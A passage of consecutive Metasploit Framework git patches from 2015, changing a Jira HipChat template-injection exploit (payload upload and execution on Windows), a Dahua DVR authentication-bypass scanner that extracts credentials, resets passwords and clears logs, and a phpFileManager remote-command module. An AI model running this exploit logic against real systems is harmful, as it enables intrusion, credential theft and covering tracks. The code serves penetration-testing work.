false : true + target.platform.names.each do |n| + if /^java$/i === n || /#{n}/i === target_platform + return true + end + end + + false end @@ -452,11 +464,7 @@ class Metasploit3 < Msf::Exploit::Remote c = get_temp_path_code res = inject_template(c, cookie) json = res.get_json_document - if json['message'] - return json['message'] - end - - '' + json['message'] || '' end def get_java_home_path(cookie) @@ -496,6 +504,30 @@ class Metasploit3 < Msf::Exploit::Remote def exploit_as_windows(cookie) + tmp_path = get_tmp_path(cookie) + + if tmp_path.blank? + fail_with(Failure::Unknown, 'Unable to get the temp path.') + end + + exe = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform) + exe_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe") + exe_new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe") + exe_fname.gsub!(/Program Files/, 'PROGRA~1') + exe_new_fname.gsub!(/Program Files/, 'PROGRA~1') + register_files_for_cleanup(exe_fname, exe_new_fname) + + print_status("Attempting to write #{exe_fname}") + c = get_write_file_code(exe_fname, exe) + inject_template(c, cookie) + + print_status("New file will be #{exe_new_fname}") + c = get_dup_file_code(exe_fname, exe_new_fname) + inject_template(c, cookie) + + print_status("Executing #{exe_new_fname}") + c = get_exec_code(exe_new_fname) + inject_template(c, cookie) end @@ -542,7 +574,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Target being detected as: #{target_platform}") unless target_platform_compat?(target_platform) - fail_with(Failure::BadConfig, 'Selected target does not match the target.') + fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.') end case target.name From 67edf88c39dd3849ff122e205874a0444be6ab4e Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 3 Dec 2015 14:25:01 -0600 Subject: [PATCH 1402/2172] Doc --- .../unix/webapp/jira_hipchat_template.rb | 50 +++++++++++++++++-- 1 file changed, 45 insertions(+), 5 deletions(-) diff --git a/modules/exploits/unix/webapp/jira_hipchat_template.rb b/modules/exploits/unix/webapp/jira_hipchat_template.rb index 93c883b949..49870cd656 100644 --- a/modules/exploits/unix/webapp/jira_hipchat_template.rb +++ b/modules/exploits/unix/webapp/jira_hipchat_template.rb @@ -294,15 +294,15 @@ class Metasploit3 < Msf::Exploit::Remote end + # Returns the target platform. + # + # @param cookie [String] Jira cookie + # @return [String] def get_target_platform(cookie) c = get_os_detection_code res = inject_template(c, cookie) json = res.get_json_document - if json['message'] - return json['message'] - end - - nil + json['message'] || '' end @@ -320,26 +320,44 @@ class Metasploit3 < Msf::Exploit::Remote end + # Returns the Java code that gives us the remote Java home path. + # + # @return [String] def get_java_path_code get_java_property_code('java.home') end + # Returns the OS/platform information. + # + # @return [String] def get_os_detection_code get_java_property_code('os.name') end + # Returns the temp path for Java. + # + # @return [String] def get_temp_path_code get_java_property_code('java.io.tmpdir') end + # Returns a system property for Java. + # + # @param prop [String] Name of the property to retrieve. + # @return [String] def get_java_property_code(prop) %Q| $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{prop}').toString() | end + # Returns the Java code to execute a jar file. + # + # @param java_path [String] Java home path + # @param war_path [String] The jar file to execute + # @return [String] def get_jar_exec_code(java_path, war_path) # A quick way to check platform insteaf of actually grabbing os.name in Java system properties. if /^\/[[:print:]]+/ === war_path @@ -436,6 +454,10 @@ class Metasploit3 < Msf::Exploit::Remote end + # Checks if the target os/platform is compatible with the module target or not. + # + # @return [TrueClass] Compatible + # @return [FalseClass] Not compatible def target_platform_compat?(target_platform) target.platform.names.each do |n| if /^java$/i === n || /#{n}/i === target_platform @@ -460,6 +482,10 @@ class Metasploit3 < Msf::Exploit::Remote end + # Returns a temp path from the remote target. + # + # @param cookie [String] Jira cookie + # @return [String] def get_tmp_path(cookie) c = get_temp_path_code res = inject_template(c, cookie) @@ -467,6 +493,11 @@ class Metasploit3 < Msf::Exploit::Remote json['message'] || '' end + + # Returns the Java home path used by Jira. + # + # @param cookie [String] Jira cookie. + # @return [String] def get_java_home_path(cookie) c = get_java_path_code res = inject_template(c, cookie) @@ -475,6 +506,9 @@ class Metasploit3 < Msf::Exploit::Remote end + # Exploits the target in Java platform. + # + # @return [void] def exploit_as_java(cookie) tmp_path = get_tmp_path(cookie) @@ -503,6 +537,9 @@ class Metasploit3 < Msf::Exploit::Remote end + # Exploits the target in Windows platform. + # + # @return [void] def exploit_as_windows(cookie) tmp_path = get_tmp_path(cookie) @@ -531,6 +568,9 @@ class Metasploit3 < Msf::Exploit::Remote end + # Exploits the target in Linux platform. + # + # @return [void] def exploit_as_linux(cookie) tmp_path = get_tmp_path(cookie) From 3d617efa88a4cb74531664d263ccbc1f0797303b Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Thu, 3 Dec 2015 15:36:08 -0500 Subject: [PATCH 1403/2172] added code to parse mailport from config --- modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index e7a4263db9..a8d6d2ad37 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -101,6 +101,7 @@ class Metasploit3 < Msf::Auxiliary print_status("Email Settings: @ #{rhost}:#{rport}!") if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ if mailhost = Regexp.last_match[1].split(':') + print_status(" Server Port: #{mailhost[1]}") print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? end @@ -110,9 +111,10 @@ class Metasploit3 < Msf::Auxiliary muser = "#{data[5]}" mpass = "#{data[6]}" mailserver = "#{mailhost[0]}" + mailport = "#{mailhost[1]}" print_good("MailServer: #{mailserver}") if !mailserver.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 - report_email_creds(mailserver, rport, muser, mpass) if !mailserver.nil? && !muser.nil? && !mpass.nil? + report_email_creds(mailserver, mailport, muser, mpass) if !mailserver.nil? && !muser.nil? && !mpass.nil? end end end @@ -356,10 +358,10 @@ class Metasploit3 < Msf::Auxiliary create_credential_login(login_data) end - def report_email_cred(mailserver, rport, muser, mpass) + def report_email_cred(mailserver, mailport, muser, mpass) service_data = { address: mailserver, - port: rport, + port: mailport, service_name: 'email settings', protocol: 'tcp', workspace_id: myworkspace_id From 9d71ff6b9df43e6b7b5a8a257ecc8a683f1b48a1 Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Thu, 3 Dec 2015 15:51:49 -0500 Subject: [PATCH 1404/2172] cleaned up a few misc prints and added in logic if mailport is empty --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index a8d6d2ad37..7bf72be05a 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -101,8 +101,8 @@ class Metasploit3 < Msf::Auxiliary print_status("Email Settings: @ #{rhost}:#{rport}!") if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ if mailhost = Regexp.last_match[1].split(':') - print_status(" Server Port: #{mailhost[1]}") print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? + print_status(" Server Port: #{mailhost[1]}") unless mailhost[1].nil? print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? end if !data[5].nil? && !data[6].nil? @@ -112,9 +112,8 @@ class Metasploit3 < Msf::Auxiliary mpass = "#{data[6]}" mailserver = "#{mailhost[0]}" mailport = "#{mailhost[1]}" - print_good("MailServer: #{mailserver}") - if !mailserver.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 - report_email_creds(mailserver, mailport, muser, mpass) if !mailserver.nil? && !muser.nil? && !mpass.nil? + if !mailserver.to_s.strip.length == 0 && !mailport.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 + report_email_creds(mailserver, mailport, muser, mpass) if !mailserver.nil? && !mailport.nil? && !muser.nil? && !mpass.nil? end end end @@ -136,12 +135,12 @@ class Metasploit3 < Msf::Auxiliary ddns_user = "#{val[4]}" ddns_pass = "#{val[5]}" print_status("DDNS Settings @ #{rhost}:#{rport}!:") - print_status(" DDNS Service: #{ddns_service}") unless val.nil? - print_status(" DDNS Server: #{ddns_server}") unless val.nil? - print_status(" DDNS Port: #{ddns_port}") unless val.nil? - print_status(" Domain: #{ddns_domain}") unless val.nil? - print_good(" Username: #{ddns_user}") unless val.nil? - print_good(" Password: #{ddns_pass}") unless val.nil? + print_status(" DDNS Service: #{ddns_service}") + print_status(" DDNS Server: #{ddns_server}") + print_status(" DDNS Port: #{ddns_port}") + print_status(" Domain: #{ddns_domain}") + print_good(" Username: #{ddns_user}") + print_good(" Password: #{ddns_pass}") if !ddns_server.to_s.strip.length == 0 && !ddns_port.to_s.strip.length == 0 && !ddns_user.to_s.strip.length == 0 && !ddns_pass.to_s.strip.length == 0 report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) end From 3bbc413935c06682427c966f88285e7a31e86a69 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Fri, 4 Dec 2015 06:20:43 +0800 Subject: [PATCH 1405/2172] Update phpfilemanager_rce.rb --- modules/exploits/multi/http/phpfilemanager_rce.rb | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb index b5d2779330..e487783b36 100644 --- a/modules/exploits/multi/http/phpfilemanager_rce.rb +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote txt = Rex::Text.rand_text_alpha(8) res = http_send_command("echo #{txt}") - if res and res.body =~ /#{txt}/ + if res && res.body =~ /#{txt}/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote end def push - uri = normalize_uri(target_uri.path.to_s) + uri = normalize_uri(target_uri.path) # To push the Enter button res = send_request_cgi({ @@ -83,15 +83,12 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "Failed to trigger the Enter button") end - location = res.headers['Location'] - - if res && res.headers && res.code == 302 && location =~ /index.php/ + if res && res.headers && res.code == 302 print_good("#{peer} - Logged in to the file manager") cookie = res.get_cookies cookie else fail_with(Failure::Unknown, "#{peer} - Error entering the file manager") - return end end @@ -99,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote cookie = push() res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path.to_s), + 'uri' => normalize_uri(target_uri.path), 'cookie' => cookie, 'vars_get' => { 'action' => '6', From 753eddbbd66c0c8eb45d9cb23841f5b20d8a0545 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 3 Dec 2015 14:53:27 -0800 Subject: [PATCH 1406/2172] Correct true/false for optional options, default values --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 23 ++++++++++--------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 7bf72be05a..a7433984c9 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -17,20 +17,21 @@ class Metasploit3 < Msf::Auxiliary ], 'License' => MSF_LICENSE ) + deregister_options('RHOST') register_options([ - OptString.new('USERNAME', [true, 'A username to reset', '888888']), + OptString.new('USERNAME', [false, 'A username to reset', '888888']), OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']), - OptBool.new('VERSION_INFO', ['false', 'Grabs the version of DVR', 'FALSE']), - OptBool.new('EMAIL_INFO', ['false', 'Grabs the email settings of the DVR', 'FALSE']), - OptBool.new('DDNS_INFO', ['false', 'Grabs the DDNS settings of the DVR', 'FALSE']), - OptBool.new('SN_INFO', ['false', 'Grabs the SN of the DVR', 'FALSE']), - OptBool.new('CHANNEL_INFO', ['false', 'Grabs the cameras and their assigned name', 'FALSE']), - OptBool.new('NAS_INFO', ['false', 'Grabs the NAS settings of the DVR', 'FALSE']), - OptBool.new('USER_INFO', ['true', 'Grabs the Users and hashes of the DVR', 'TRUE']), - OptBool.new('GROUP_INFO', ['false', 'Grabs the Users and groups of the DVR', 'FALSE']), - OptBool.new('RESET', [false, %q(Reset an existing user's pw?), 'FALSE']), - OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), 'TRUE']), + OptBool.new('VERSION_INFO', [true, 'Grabs the version of DVR', false]), + OptBool.new('EMAIL_INFO', [true, 'Grabs the email settings of the DVR', false]), + OptBool.new('DDNS_INFO', [true, 'Grabs the DDNS settings of the DVR', false]), + OptBool.new('SN_INFO', [true, 'Grabs the SN of the DVR', false]), + OptBool.new('CHANNEL_INFO', [true, 'Grabs the cameras and their assigned name', false]), + OptBool.new('NAS_INFO', [true, 'Grabs the NAS settings of the DVR', false]), + OptBool.new('USER_INFO', [true, 'Grabs the Users and hashes of the DVR', true]), + OptBool.new('GROUP_INFO', [true, 'Grabs the Users and groups of the DVR', false]), + OptBool.new('RESET', [true, %q(Reset an existing user's pw?), false]), + OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]), Opt::RPORT(37777) ]) end From 93cd3446dbe512ffdb4a61125853fd7ec3c5afe5 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 3 Dec 2015 15:01:27 -0800 Subject: [PATCH 1407/2172] Minor cleanup of some print_ lines --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 20 +++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index a7433984c9..dd5ef43df5 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Auxiliary data = sock.get_once if data =~ /[\x00]{8,}([[:print:]]+)/ ver = Regexp.last_match[1] - print_status("Version: #{ver} @ #{rhost}:#{rport}!") + print_good("#{peer} -- version: #{ver}") end end @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary data = sock.get_once if data =~ /[\x00]{8,}([[:print:]]+)/ serial = Regexp.last_match[1] - print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!") + print_good("#{peer} -- serial number: #{serial}") end end @@ -185,7 +185,7 @@ class Metasploit3 < Msf::Auxiliary data = sock.get_once.split('&&') disconnect if data.length > 1 - print_status("Camera Channels @ #{rhost}:#{rport}!:") + print_good("#{peer} -- camera channels:") data.each_with_index { |val, index| print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}") } end end @@ -224,7 +224,7 @@ class Metasploit3 < Msf::Auxiliary connect sock.put(GROUPS) if data = sock.get_once.split('&&') - print_status("User Groups: @ #{rhost}:#{rport}!") + print_good("#{peer} -- groups:") data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } end end @@ -243,14 +243,18 @@ class Metasploit3 < Msf::Auxiliary data = sock.get_once sock.put(u1) if data = sock.get_once - print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!") + print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}") end end def clear_logs sock.put(CLEAR_LOGS1) sock.put(CLEAR_LOGS2) - print_good("LOGS CLEARED! @ #{rhost}:#{rport}") + print_good("#{peer} -- logs cleared") + end + + def peer + "#{rhost}:#{rport}" end def run_host(ip) @@ -262,9 +266,9 @@ class Metasploit3 < Msf::Auxiliary data = sock.recv(8) disconnect if data == DVR_RESP - print_good("DVR FOUND: @ #{rhost}:#{rport}!") + print_good("#{peer} -- Dahua-based DVR found") report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR") - # needs boolean logic to run or not run + if datastore['VERSION_INFO'] grab_version end From 504f6874f2b9247cae6b0700ad972aa906ea1868 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 3 Dec 2015 15:15:48 -0800 Subject: [PATCH 1408/2172] Convert to actions --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 97 ++++++++----------- 1 file changed, 42 insertions(+), 55 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index dd5ef43df5..d5a00be79e 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -15,22 +15,26 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2013-6117' ], [ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ] ], - 'License' => MSF_LICENSE - ) + 'License' => MSF_LICENSE, + 'DefaultAction' => 'VERSION', + 'Actions' => + [ + [ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ], + [ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ], + [ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ], + [ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ], + [ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ], + [ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ], + [ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ], + [ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ], + [ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ] + ] + ) deregister_options('RHOST') register_options([ OptString.new('USERNAME', [false, 'A username to reset', '888888']), OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']), - OptBool.new('VERSION_INFO', [true, 'Grabs the version of DVR', false]), - OptBool.new('EMAIL_INFO', [true, 'Grabs the email settings of the DVR', false]), - OptBool.new('DDNS_INFO', [true, 'Grabs the DDNS settings of the DVR', false]), - OptBool.new('SN_INFO', [true, 'Grabs the SN of the DVR', false]), - OptBool.new('CHANNEL_INFO', [true, 'Grabs the cameras and their assigned name', false]), - OptBool.new('NAS_INFO', [true, 'Grabs the NAS settings of the DVR', false]), - OptBool.new('USER_INFO', [true, 'Grabs the Users and hashes of the DVR', true]), - OptBool.new('GROUP_INFO', [true, 'Grabs the Users and groups of the DVR', false]), - OptBool.new('RESET', [true, %q(Reset an existing user's pw?), false]), OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]), Opt::RPORT(37777) ]) @@ -86,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary end end - def grab_sn + def grab_serial sock.put(SN) data = sock.get_once if data =~ /[\x00]{8,}([[:print:]]+)/ @@ -258,55 +262,38 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - # user8pwhash = "4WzwxXxM" #888888 - # user6pwhash = "sh15yfFM" #666666 - # useradminpwhash = "6QNMIQGe" #admin - connect - sock.put(U1) - data = sock.recv(8) - disconnect - if data == DVR_RESP + begin + connect + sock.put(U1) + data = sock.recv(8) + disconnect + return unless data == DVR_RESP print_good("#{peer} -- Dahua-based DVR found") report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR") - if datastore['VERSION_INFO'] + case action.name.upcase + when 'CHANNEL' + grab_channels + when 'DDNS' + grab_ddns + when 'EMAIL' + grab_email + when 'GROUP' + grab_groups + when 'NAS' + grab_nas + when 'RESET' + reset_user + when 'SERIAL' + grab_serial + when 'USER' + grab_users + when 'VERSION' grab_version end - # needs boolean logic to run or not run - if datastore['SN_INFO'] - grab_sn - end - # needs boolean logic to run or not run - if datastore['EMAIL_INFO'] - grab_email - end - # needs boolean logic to run or not run - if datastore['DDNS_INFO'] - grab_ddns - end - # needs boolean logic to run or not run - if datastore['NAS_INFO'] - grab_nas - end - # needs boolean logic to run or not run - if datastore['CHANNEL_INFO'] - grab_channels - end - # needs boolean logic to run or not run - if datastore['USER_INFO'] - grab_users - end - # needs boolean logic to run or not run - if datastore['GROUP_INFO'] - grab_groups - end - if datastore['RESET'] - reset_user - end - if datastore['CLEAR_LOGS'] - clear_logs - end + clear_logs if datastore['CLEAR_LOGS'] + ensure disconnect end end From 98096ab71c2356e0723b5f3408c8ce4277f2cdc1 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 3 Dec 2015 15:16:54 -0800 Subject: [PATCH 1409/2172] Remove useless assignment --- modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index d5a00be79e..458e8bd8cc 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -244,9 +244,9 @@ class Metasploit3 < Msf::Auxiliary sock.put(u1) sock.put(u2) sock.put(u3) - data = sock.get_once + sock.get_once sock.put(u1) - if data = sock.get_once + if sock.get_once print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}") end end From 6c319469959f32ad4c542874de38e665db85622b Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 3 Dec 2015 15:19:35 -0800 Subject: [PATCH 1410/2172] Slightly simplify regex --- modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 458e8bd8cc..27d81debad 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -104,7 +104,7 @@ class Metasploit3 < Msf::Auxiliary sock.put(EMAIL) if data = sock.get_once.split('&&') print_status("Email Settings: @ #{rhost}:#{rport}!") - if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ + if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i if mailhost = Regexp.last_match[1].split(':') print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? print_status(" Server Port: #{mailhost[1]}") unless mailhost[1].nil? @@ -202,7 +202,7 @@ class Metasploit3 < Msf::Auxiliary print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") data.each do |val| usercount += 1 - pass = "#{val[/(([\d]+)[:]([0-9A-Za-z]+)[:]([0-9A-Za-z]+))/]}" + pass = "#{val[/(([\d]+)[:]([0-9A-Z]+)[:]([0-9A-Z]+))/i]}" value = pass.split(":") user = "#{value[1]}" md5hash = "#{value[2]}" From 7346c528cd35608fd46d6f83b50815c373b7acdf Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 3 Dec 2015 15:21:06 -0800 Subject: [PATCH 1411/2172] Fix indentation --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 27d81debad..bc08d2989c 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -110,17 +110,17 @@ class Metasploit3 < Msf::Auxiliary print_status(" Server Port: #{mailhost[1]}") unless mailhost[1].nil? print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? end - if !data[5].nil? && !data[6].nil? - print_good(" SMTP User: #{data[5]}") unless data[5].nil? - print_good(" SMTP Password: #{data[6]}") unless data[6].nil? - muser = "#{data[5]}" - mpass = "#{data[6]}" - mailserver = "#{mailhost[0]}" - mailport = "#{mailhost[1]}" - if !mailserver.to_s.strip.length == 0 && !mailport.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 - report_email_creds(mailserver, mailport, muser, mpass) if !mailserver.nil? && !mailport.nil? && !muser.nil? && !mpass.nil? - end + if !data[5].nil? && !data[6].nil? + print_good(" SMTP User: #{data[5]}") unless data[5].nil? + print_good(" SMTP Password: #{data[6]}") unless data[6].nil? + muser = "#{data[5]}" + mpass = "#{data[6]}" + mailserver = "#{mailhost[0]}" + mailport = "#{mailhost[1]}" + if !mailserver.to_s.strip.length == 0 && !mailport.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 + report_email_creds(mailserver, mailport, muser, mpass) if !mailserver.nil? && !mailport.nil? && !muser.nil? && !mpass.nil? end + end end end end From 4b30a56f1577dcdd0cfbd8006338c7e953d838ad Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 3 Dec 2015 15:22:27 -0800 Subject: [PATCH 1412/2172] Add a few missing connects --- modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index bc08d2989c..b276bdcad8 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -91,6 +91,7 @@ class Metasploit3 < Msf::Auxiliary end def grab_serial + connect sock.put(SN) data = sock.get_once if data =~ /[\x00]{8,}([[:print:]]+)/ @@ -195,10 +196,10 @@ class Metasploit3 < Msf::Auxiliary end def grab_users - usercount = 0 connect sock.put(USERS) if data = sock.get_once.split('&&') + usercount = 0 print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") data.each do |val| usercount += 1 @@ -234,6 +235,7 @@ class Metasploit3 < Msf::Auxiliary end def reset_user + connect userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" @@ -252,6 +254,7 @@ class Metasploit3 < Msf::Auxiliary end def clear_logs + connect sock.put(CLEAR_LOGS1) sock.put(CLEAR_LOGS2) print_good("#{peer} -- logs cleared") From 0bcac5e73bc638bce0a0b97663539559037996e6 Mon Sep 17 00:00:00 2001 From: Louis Sato <lsato@rapid7.com> Date: Thu, 3 Dec 2015 17:31:13 -0600 Subject: [PATCH 1413/2172] Use concat instead of assignment on java proxy classes encoding * fixes bug in java serialization encoding proxy class --- lib/rex/java/serialization/model/contents.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/java/serialization/model/contents.rb b/lib/rex/java/serialization/model/contents.rb index b13ceb7cdc..1de2368e3f 100644 --- a/lib/rex/java/serialization/model/contents.rb +++ b/lib/rex/java/serialization/model/contents.rb @@ -88,7 +88,7 @@ module Rex when NewClassDesc encoded << [TC_CLASSDESC].pack('C') when ProxyClassDesc - content = [TC_PROXYCLASSDESC].pack('C') + encoded << [TC_PROXYCLASSDESC].pack('C') when NullReference encoded << [TC_NULL].pack('C') when Reset From 72f7efd042e5c9222989a4ef3e271938eb349548 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 3 Dec 2015 15:39:27 -0800 Subject: [PATCH 1414/2172] Lots of style cleanup --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 176 +++++++++--------- 1 file changed, 87 insertions(+), 89 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 